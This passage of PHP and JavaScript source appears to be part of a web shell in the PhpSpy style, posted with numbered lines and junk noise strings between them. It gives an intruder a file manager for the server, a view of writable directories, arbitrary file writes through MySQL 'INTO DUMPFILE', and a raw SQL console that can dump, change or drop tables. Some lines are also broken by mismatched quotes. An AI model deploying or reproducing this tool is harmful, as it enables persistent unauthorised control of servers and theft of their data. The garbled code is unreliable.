     5 C; w' E- [7 l/ t% m4 ~
448.         if (m && !confirm(m)) {
     " L9 s* r. f$ I5 v
449.                 return;
     ! D" K* S" B; L- o7 B8 W7 G
450.         }
     " v/ ]/ f: U' ~9 e( r
451.         $('filelist').doing.value=doing;
     ) u8 r$ ?3 @- p3 I0 C
452.         if (thefile){
     + c4 j. P# o5 _5 z
453.                 $('filelist').thefile.value=thefile;
     6 V6 Y/ F5 p) E" F
454.         }
     
455.         $('filelist').submit();
     * O* z9 L3 K% \3 _; |( U
456. }
     
457. function createfile(nowpath){
     
458.         var filename;
     
459.         filename = prompt('Please input the file name:', '');
     ! w8 s4 C6 F5 x0 ?2 `+ d# d
460.         if (!filename) return;
     , U( N2 L; V2 T. u# }  D
461.         opfile('editfile',nowpath + filename,nowpath);
     
462. }
     
463. function opfile(action,opfile,dir){
     # D1 Y- ^3 M! S4 K6 F
464.         $('fileopform').action.value=action;
     , w3 e8 q9 g+ T
465.         $('fileopform').opfile.value=opfile;
     ; T5 p/ ~" o1 E% N
466.         $('fileopform').dir.value=dir;
     
467.         $('fileopform').submit();
     7 Z  E9 A" T' W- V& c
468. }
     9 a& n" H* i: G- _! q3 W0 w3 A
469. function godir(dir,view_writable){
     3 _$ M6 n+ x/ H1 n
470.         if (view_writable) {
     5 l' ~+ g# x# ]$ @
471.                 $('godir').view_writable.value=1;
     & d% @$ i/ ]5 V+ B
472.         }
     
473.         $('godir').dir.value=dir;
     
474.         $('godir').submit();
     ' c2 n2 S6 G* N( j1 v
475. }
     
476. </script>
     & l' }9 c! |/ C, |
477.   <?php
     3 j6 f4 K# X* C, k! h' e7 T' f
478.         tbhead();
     ; Q' J0 h5 q) F4 x/ ?; Z
479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
     " C0 W' M5 `7 L
480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
     
481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
     
482.         if ($view_writable) {
     
483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
     
484.         } else {
     
485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
     
486.         }
     
487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
     
488.         if (IS_WIN && IS_COM) {
     3 Z) x  k3 `' j: }/ i4 x! D0 f
489.                 $obj = new COM('scripting.filesystemobject');
     
490.                 if ($obj && is_object($obj)) {
     
491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
     ! x* W8 E7 k/ K  d) W9 Y
492.                         foreach($obj->Drives as $drive) {
     ) H% M* b) m3 g& o4 N6 w, @
493.                                 if ($drive->DriveType == 2) {
     
494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
     : l% n+ _2 [7 y5 ~9 X! y
495. Free:'.sizecount($drive->FreeSpace).'
     
496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     
497.                                 } else {
     
498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     5 U! K. X/ e5 q: V+ P* O
499.                                 }
     ) L0 N6 z( c( n# _
500.                         }
     - P* ^6 c& A& f
501.                 }
     , |! I. @( `; G; o
502.         }
     # v5 \  J) s9 U3 f  p7 V7 H- ^
503. 
     
504.         p('</td></tr></form>');
     
505. 
     
506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
     7 N" a8 N4 ~3 \% ~
507. 
     # V7 Z" o9 V8 {
508.         //查看所有可写文件和目录
     5 i+ v- L4 n7 r, o. s' ?
509.         $dirdata=array();
     
510.         $filedata=array();
     
511. 
     
512.         if ($view_writable) {
     & k! Q* {! Q' I$ C. d
513.                 $dirdata = GetList($nowpath);
     
514.         } else {
     
515.                 // 目录列表
     & Q# H( V5 w  F1 Q: {& P! j
516.                 $dirs=@opendir($dir);
     $ P: F' j: J5 R0 G
517.                 while ($file=@readdir($dirs)) {
     
518.                         $filepath=$nowpath.$file;
     
519.                         if(@is_dir($filepath)){
     
520.                                 $dirdb['filename']=$file;
     / ]% V4 W5 U3 N
521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     ) S. _2 G( o& }8 s! l
522.                                 $dirdb['dirchmod']=getChmod($filepath);
     2 U% @4 b1 [) S  Q5 q- Z
523.                                 $dirdb['dirperm']=getPerms($filepath);
     
524.                                 $dirdb['fileowner']=getUser($filepath);
     . {, s" F& w5 h. {, m
525.                                 $dirdb['dirlink']=$nowpath;
     
526.                                 $dirdb['server_link']=$filepath;
     
527.                                 $dirdb['client_link']=ue($filepath);
     
528.                                 $dirdata[]=$dirdb;
     
529.                         } else {               
     - X) v8 ^! }. j' P3 a/ U
530.                                 $filedb['filename']=$file;
     
531.                                 $filedb['size']=sizecount(@filesize($filepath));
     : J0 r6 q0 M4 D* L: v
532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     
533.                                 $filedb['filechmod']=getChmod($filepath);
     . H% U) ?) k4 Z& I) o) i
534.                                 $filedb['fileperm']=getPerms($filepath);
     / }# C. L& b% Z4 A0 S( y2 {
535.                                 $filedb['fileowner']=getUser($filepath);
     3 w. I0 o$ @5 j/ u
536.                                 $filedb['dirlink']=$nowpath;
     
537.                                 $filedb['server_link']=$filepath;
     / y- F) }  p; p9 q; |
538.                                 $filedb['client_link']=ue($filepath);
     
539.                                 $filedata[]=$filedb;
     
540.                         }
     
541.                 }// while
     
542.                 unset($dirdb);
     * @5 M# T7 {; v$ m8 F
543.                 unset($filedb);
     ' Z; d1 H2 j1 s# e' D
544.                 @closedir($dirs);
     * g; r  h5 C$ a: j
545.         }
     
546.         @sort($dirdata);
     # P  [- @8 M. p
547.         @sort($filedata);
     0 X# T% ]" F, }& g' w5 C/ m
548.         $dir_i = '0';
     
549.         foreach($dirdata as $key => $dirdb){
     
550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
     
551.                         $thisbg = bg();
     
552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     $ g8 `. Z( E- a6 F& P) K1 o
553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
     , N9 \1 ~+ h4 x# p7 S
554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
     
555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
     ; }5 J& V6 u9 a' `
556.                         p('<td nowrap>--</td>');
     7 [- e# _8 k: Q( o
557.                         p('<td nowrap>');
     / n  U6 O8 ~+ u1 J4 r! a
558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
     : T- Q9 `  U3 M9 W# g
559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
     
560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
     4 P" G! x) p2 x5 q. k2 w0 R
561.                         p('</tr>');
     , k4 e8 @0 V! ~  O5 w$ }% Q
562.                         $dir_i++;
     
563.                 } else {
     
564.                         if($dirdb['filename']=='..') {
     
565.                                 p('<tr class='.bg().'>');
       S8 ?  k/ X2 ~+ K
566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
     
567.                                 p('</tr>');
     # |; P2 h' o* n& ]! w/ F  ^
568.                         }
     
569.                 }
     1 U; d" b; f* X! o( s# a
570.         }
     
571. 
     7 G. F1 A; I# c6 R
572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
     
573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
     0 {, }8 k+ D" S, v2 V  g+ l
574.         makehide('action','file');
     : w2 R+ _& K0 q
575.         makehide('thefile');
     
576.         makehide('doing');
     
577.         makehide('dir',$nowpath);
     
578.         $file_i = '0';
     . a  s2 y* R0 S7 @" R& @8 w
579.         foreach($filedata as $key => $filedb){
     
580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
     
581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
     
582.                         $thisbg = bg();
     3 m4 f. ]8 y) I  ~3 t: M: \
583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     / \& e$ N9 Q& V7 P0 A- {
584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
     " f6 `8 Q. L! o
585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
     
586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
     
587.                         p('<td nowrap>'.$filedb['size'].'</td>');
     . ~  }8 C- y5 l- W: j  W* ]* ~& ~: |
588.                         p('<td nowrap>');
     / ~9 H8 a$ E1 K2 s- J
589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
     4 ^9 n/ ^8 ^' E. X7 E1 L5 e2 Z: m* y
590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
     
591.                         p('<td nowrap>');
     6 b% x: _% e# C) S: z( c: |5 O
592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
     
593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
     
594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
     
595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
     
596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
     
597.                         p('</td></tr>');
     
598.                         $file_i++;
     4 V9 E6 ]; ~$ n6 B, k. D% ?7 _
599.                 }
     + d. M% [% X( D) W" x1 x  z( [
600.         }
     ; w" v  a- U1 X7 O* `4 n
601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
     
602.         p('</form></table>');
     9 w6 x& p$ @/ u; D( y
603. }// end dir
     3 c5 n& n/ b9 O: m; {) b
604. 
     ; X5 p- |: g2 e1 {5 r3 p
605. elseif ($action == 'sqlfile') {
     ' [0 L( K4 A7 ^7 r
606.         if($doing=="mysqlupload"){
     $ i! C* e& `0 r
607.                 $file = $_FILES['uploadfile'];
     0 S1 n2 V; {* V5 W! `
608.                 $filename = $file['tmp_name'];
     
609.                 if (file_exists($savepath)) {
     7 q  F, ]3 j) a1 f
610.                         m('The goal file has already existed');
     
611.                 } else {
     1 Z) M; I, u( V
612.                         if(!$filename) {
     ( v9 h; T, J$ u4 A
613.                                 m('Please choose a file');
     
614.                         } else {
     
615.                                 $fp=@fopen($filename,'r');
     
616.                                 $contents=@fread($fp, filesize($filename));
     
617.                                 @fclose($fp);
     
618.                                 $contents = bin2hex($contents);
     ! u- C/ g2 K/ D0 c
619.                                 if(!$upname) $upname = $file['name'];
     
620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
     / U' L' a) \& g  |2 w8 r
622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
     
623.                         }
     
624.                 }
     0 a8 N  f. M8 D# g5 l
625.         }
     / D* _$ R7 J5 ~: D. w% j6 F; R3 _
626. ?>
     
627. <script type="text/javascript">
     
628. function mysqlfile(doing){
     
629.         if(!doing) return;
     
630.         $('doing').value=doing;
     5 f, X2 q0 @9 I' @# ~9 ?
631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
     
632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
     
633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
     ; M$ m+ [6 t  X8 x- U- W
634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
       J$ R; Y: j0 p+ s# }( v
635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
     3 @- Y8 W8 p5 M0 |5 Q
636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
       k3 c2 I) {3 j/ H
637.         $('mysqlfile').submit();
     , C8 P; G/ M& v/ S/ u7 S
638. }
     
639. </script>
     & Y" y8 M! r; T
640. <?php
     
641.         !$dbhost && $dbhost = 'localhost';
     
642.         !$dbuser && $dbuser = 'root';
     
643.         !$dbport && $dbport = '3306';
     
644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     0 [4 K7 @. T  F8 q
645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
     - S. M3 ~! w. e# Z% {
646.         makehide('action','sqlfile');
     
647.         p('<p>');
     
648.         p('DBHost:');
     ( j" R: ]" K- ^! c' a1 S; R
649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
650.         p(':');
     
651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
652.         p('DBUser:');
     $ X7 Y& L: K" j# L2 w# B
653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
654.         p('DBPass:');
     
655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     
656.         p('DBName:');
     
657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
     
658.         p('DBCharset:');
     ( E- D2 X5 h6 n4 \, |# d1 T  x; m& Z4 l
659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     ! j+ s3 l( D0 B) S' r8 }+ p. J: i
660.         p('</p>');
     
661.         formfoot();
     % }) F( M5 g, \! ]# n) T9 Z7 ?6 h; o
662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
     , w: S* {( N9 g
663.         p('<h2>Upload file</h2>');
     ; i' J- q1 k3 p* L
664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
     
665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
     
666.         p('<h2>Download file</h2>');
     8 B3 Y6 S: N. n1 q
667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
     , e% c! \+ \, r0 G
668.         makehide('dbhost');
     
669.         makehide('dbport');
     
670.         makehide('dbuser');
     ) R/ s7 B7 O. |, S: E: B% x- b
671.         makehide('dbpass');
     5 ?9 v+ q& H( T+ G; a: ?8 A
672.         makehide('dbname');
     
673.         makehide('charset');
     
674.         makehide('doing');
     
675.         makehide('action','sqlfile');
     
676.         p('</form>');
     
677. }
     6 O2 p- I1 j- C  V# E
678. 
     6 u* T, C5 f: h" Z* H/ t
679. elseif ($action == 'sqladmin') {
     
680.         !$dbhost && $dbhost = 'localhost';
     
681.         !$dbuser && $dbuser = 'root';
     ( I1 b8 X' I! r- [/ i
682.         !$dbport && $dbport = '3306';
     3 P" T; l, K: u* _/ A: T1 m! A
683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
     
684.         if(isset($dbhost)){
     $ n. C  Y" n# M# H9 Y
685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
     & v0 g7 x8 b* E! p1 ^
686.         }
     
687.         if(isset($dbuser)) {
     7 `! @6 }2 M- r
688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
     
689.         }
     1 E' S; I0 ~' q5 f# x
690.         if(isset($dbpass)) {
     
691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
     6 X9 A/ h2 p4 b0 K: n* g
692.         }
     
693.         if(isset($dbport)) {
     ! b0 o0 a: N& z' M* d8 {
694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
     & }4 A: l, M3 t# s& u5 \% g/ E
695.         }
     ) e3 s9 y3 q3 @% p
696.         if(isset($dbname)) {
     
697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
     
698.         }
     
699.         if(isset($charset)) {
     ; J. q) @' k& h9 L# r% K* K& P
700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
     
701.         }
     8 Y, b$ Q2 o1 k& @  e, m) a& N
702. 
     7 ~) ~0 A" M( b# F( i
703.         if ($doing == 'backupmysql' && $saveasfile) {
     # b8 C% @. X, ~
704.                 if (!$table) {
     " @6 H' N7 v. k# [' P0 Q
705.                         m('Please choose the table');
     
706.                 } else {
     % V: F. O! i: s1 A1 g# A
707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
708.                         $table = array_flip($table);
     
709.                         $fp = @fopen($path,'w');
     
710.                         if ($fp) {
     
711.                                 $result = q('SHOW tables');
     & G7 R6 \# h2 O
712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
     
713.                                 $mysqldata = '';
     3 X% z. R; I2 v
714.                                 while ($currow = mysql_fetch_array($result)) {
     
715.                                         if (isset($table[$currow[0]])) {
     
716.                                                 sqldumptable($currow[0], $fp);
     ! R+ v% j0 j+ A7 @* |  C
717.                                         }
     
718.                                 }
     : e% X5 V+ k$ m2 A( ^( M
719.                                 fclose($fp);
     6 n1 a4 w, Y, E4 ?% k8 Y
720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
     " i$ v" {0 j% w) U
721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
     
722.                                 mysql_close();
     & G! |& `6 e+ u# I* O* R
723.                         } else {
     
724.                                 m('Backup failed');
     8 P, ~) {( i- H
725.                         }
     ) ]# L2 n' O% A( H
726.                 }
     
727.         }
     % w+ S5 j  [$ \3 ], m
728.         if ($insert && $insertsql) {
     
729.                 $keystr = $valstr = $tmp = '';
     
730.                 foreach($insertsql as $key => $val) {
     8 A! h9 h/ G6 s' T; \9 i2 c
731.                         if ($val) {
     
732.                                 $keystr .= $tmp.$key;
     8 O+ U" B' ^. E. U* N9 l7 |3 S
733.                                 $valstr .= $tmp."'".addslashes($val)."'";
     
734.                                 $tmp = ',';
     
735.                         }
     
736.                 }
     
737.                 if ($keystr && $valstr) {
     * }  o# Q) H- l
738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     ! N& ~. q' T! a1 s# ]) _
739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
     4 W& t7 F$ {  Y8 Z4 s+ s+ W. ?( T
740.                 }
     
741.         }
       |4 `, Z& [- Y* T
742.         if ($update && $insertsql && $base64) {
     
743.                 $valstr = $tmp = '';
     $ k# O1 l3 T+ G
744.                 foreach($insertsql as $key => $val) {
     
745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
     
746.                         $tmp = ',';
     # _- ]# C4 L4 B& [1 S5 l  G
747.                 }
     ' l3 W  @  U) x, J' ?- c+ y" F
748.                 if ($valstr) {
     + Y* W) M* ]! D
749.                         $where = base64_decode($base64);
     
750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
     ( H( b, [# q6 ~, ~
752.                 }
     , c3 B# @" n9 Z) v! u: \& U
753.         }
     ! E7 |+ c, b' o# j2 ^
754.         if ($doing == 'del' && $base64) {
     
755.                 $where = base64_decode($base64);
     % i! \1 Y1 [$ U6 E
756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
     
757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
     
759.         }
     
760. 
     
761.         if ($tablename && $doing == 'drop') {
     5 u; H' c9 s2 f- U+ [6 Q! |) ]
762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     8 x9 i' C, O+ S( R, q; V4 t
763.                 if (q("DROP TABLE $tablename")) {
     7 ^1 k/ C& j# @
764.                         m('Drop table of success');
     # ^) _, H9 N" a; x/ ^
765.                         $tablename = '';
     * b& d- p( s; x. ?! [! z
766.                 } else {
     
767.                         m(mysql_error());
     $ l& m1 Y; ]& f( V& `
768.                 }
     ! G8 K* V/ k- Q; W5 l
769.         }
     ; b& P; E3 |0 e
770. 
     + F' r0 s9 ^. O8 i4 Y5 V
771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     
772. 
     
773.         formhead(array('title'=>'MYSQL Manager'));
       x6 J; s/ \$ u7 o8 w+ @  O
774.         makehide('action','sqladmin');
     6 N  H8 G! p; m2 y  {" K0 Z
775.         p('<p>');
     
776.         p('DBHost:');
     
777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
778.         p(':');
     
779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
780.         p('DBUser:');
     
781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
782.         p('DBPass:');
     
783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     $ U+ C! j* q$ U4 O9 p
784.         p('DBCharset:');
     ' j5 k6 L9 D9 c
785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     
786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
     ! i, m; J& h: L5 ^$ T
787.         p('</p>');
     ) S1 B9 c+ j  Q5 g
788.         formfoot();
     
789. ?>
     3 e$ E; M6 @. f9 A
790. <script type="text/javascript">
     & g+ k6 ?7 j* D
791. function editrecord(action, base64, tablename){
     1 _/ U7 Q1 Y" E7 z, q' k; G' w: V. h
792.         if (action == 'del') {               
     7 x" y( a* y; P4 [
793.                 if (!confirm('Is or isn\'t deletion record?')) return;
     
794.         }
     
795.         $('recordlist').doing.value=action;
     ( S. J+ S' Y8 F. m
796.         $('recordlist').base64.value=base64;
     
797.         $('recordlist').tablename.value=tablename;
     
798.         $('recordlist').submit();
     
799. }
     
800. function moddbname(dbname) {
     * X6 c: }2 s/ s. C5 W
801.         if(!dbname) return;
     
802.         $('setdbname').dbname.value=dbname;
     + X. F) Z$ C" |( q4 ^7 n1 n
803.         $('setdbname').submit();
     & y  h0 ~+ p/ u# S2 F
804. }
     
805. function settable(tablename,doing,page) {
     
806.         if(!tablename) return;
     
807.         if (doing) {
       ^$ e8 J$ ~# `$ q* u$ u
808.                 $('settable').doing.value=doing;
     1 Z+ W1 a* s4 H
809.         }
     ( n. C; r! Q: Q2 o. Q/ t
810.         if (page) {
     
811.                 $('settable').page.value=page;
     
812.         }
     : n( [2 V1 a& d! {; |
813.         $('settable').tablename.value=tablename;
     / i1 Q# @6 k5 u: L! c& V
814.         $('settable').submit();
     
815. }
     
816. </script>
     
817. <?php
     
818.         //操作记录
     
819.         formhead(array('name'=>'recordlist'));
     6 x; v* |% M  j# s- F& |9 b
820.         makehide('doing');
     . Z2 D# }6 v; c" J0 Y
821.         makehide('action','sqladmin');
     
822.         makehide('base64');
     
823.         makehide('tablename');
     
824.         p($dbform);
     9 S9 D6 \0 S. H( }5 k) B
825.         formfoot();
     
826.         //选定数据库
     
827.         formhead(array('name'=>'setdbname'));
     
828.         makehide('action','sqladmin');
     $ ]/ g9 v. v* K6 |2 b
829.         p($dbform);
     
830.         if (!$dbname) {
     
831.                 makehide('dbname');
       e" H- A* r4 [0 B2 g
832.         }
     3 n+ e/ A5 r0 s% T; F
833.         formfoot();
     
834.         //选定表
     6 K7 [  }5 v7 o
835.         formhead(array('name'=>'settable'));
     
836.         makehide('action','sqladmin');
     
837.         p($dbform);
     2 S1 s% z. X* K, O
838.         makehide('tablename');
       V9 j( P$ F4 O- j0 U
839.         makehide('page',$page);
     
840.         makehide('doing');
     : D# ?  ]8 h5 C% [
841.         formfoot();
     
842.         $cachetables = array();       
     
843.         $pagenum = 30;
     
844.         $page = intval($page);
     - |- V3 Y6 _( A+ \+ W- [
845.         if($page) {
     9 b/ H' q4 R; ^" Z2 D  |# [
846.                 $start_limit = ($page - 1) * $pagenum;
     0 `& t3 r) m7 U8 b, r; a$ S( N
847.         } else {
       Y: Y' d  T; U+ x6 u/ ~/ ^
848.                 $start_limit = 0;
     " W0 i: I5 Q8 M" c: S, b8 Y+ v4 t
849.                 $page = 1;
     6 C; s& s! _' Z; B9 G, K
850.         }
     
851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
     ) L2 u+ N! a& }# x! [
852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     ! ^$ t# v& |6 e8 w
853.                 //获取数据库信息
     
854.                 $mysqlver = mysql_get_server_info();
     , @6 t% C1 |  s9 A9 P4 M
855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
     1 U" t" ]. \- q- y. o
856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
     
857.                 //获取数据库
     2 E/ N. Z) s# R3 |* }
858.                 $query = q("SHOW DATABASES");
     + S" w3 u8 P( [5 y1 m
859.                 $dbs = array();
     
860.                 $dbs[] = '-- Select a database --';
     " U. X$ s! o- h) p
861.                 while($db = mysql_fetch_array($query)) {
     ) j+ Y2 W, O6 F- d; S( u
862.                         $dbs[$db['Database']] = $db['Database'];
     6 ?$ i" G, |0 g* t, o
863.                 }
     
864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
     
865.                 $tabledb = array();
     0 d2 ^/ ^7 A; v& _) ?
866.                 if ($dbname) {
     
867.                         p('<p>');
     9 O7 m6 }1 O4 p# \* l" Q8 g
868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
     + {, l4 ~3 j- n2 e" \* U; N
869.                         if ($tablename) {
     
870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
     
871.                         }
     8 t+ w6 |4 k) @) Y5 l
872.                         p('</p>');
     ' f4 k5 k4 U& l. Q& Q
873.                         mysql_select_db($dbname);
     ; s6 e% e; f7 K
874.                         $getnumsql = '';
     
875.                         $runquery = 0;
     0 N3 }7 k( H1 D& T1 P' z' g7 r
876.                         if ($sql_query) {
     
877.                                 $runquery = 1;
     " y& x8 i/ T3 x
878.                         }
     
879.                         $allowedit = 0;
     4 t. G% c: Z; s0 D. n% m
880.                         if ($tablename && !$sql_query) {
     
881.                                 $sql_query = "SELECT * FROM $tablename";
     
882.                                 $getnumsql = $sql_query;
     
883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
     
884.                                 $allowedit = 1;
     ! A: e! D( P( W; ^& r' d! Q
885.                         }
     
886.                         p('<form action="'.$self.'" method="POST">');
     
887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
     
888.                         makehide('tablename', $tablename);
     ' v7 c- H! _$ l# F
889.                         makehide('action','sqladmin');
     # N4 w. F1 M0 f' `' E
890.                         p($dbform);
     
891.                         p('</form>');
     / ?# T* T( G! D9 N! S- ?1 c* g
892.                         if ($tablename || ($runquery && $sql_query)) {
     9 j+ b, {- {' w+ `, t- \4 Y7 C
893.                                 if ($doing == 'structure') {
     
894.                                         $result = q("SHOW COLUMNS FROM $tablename");
     
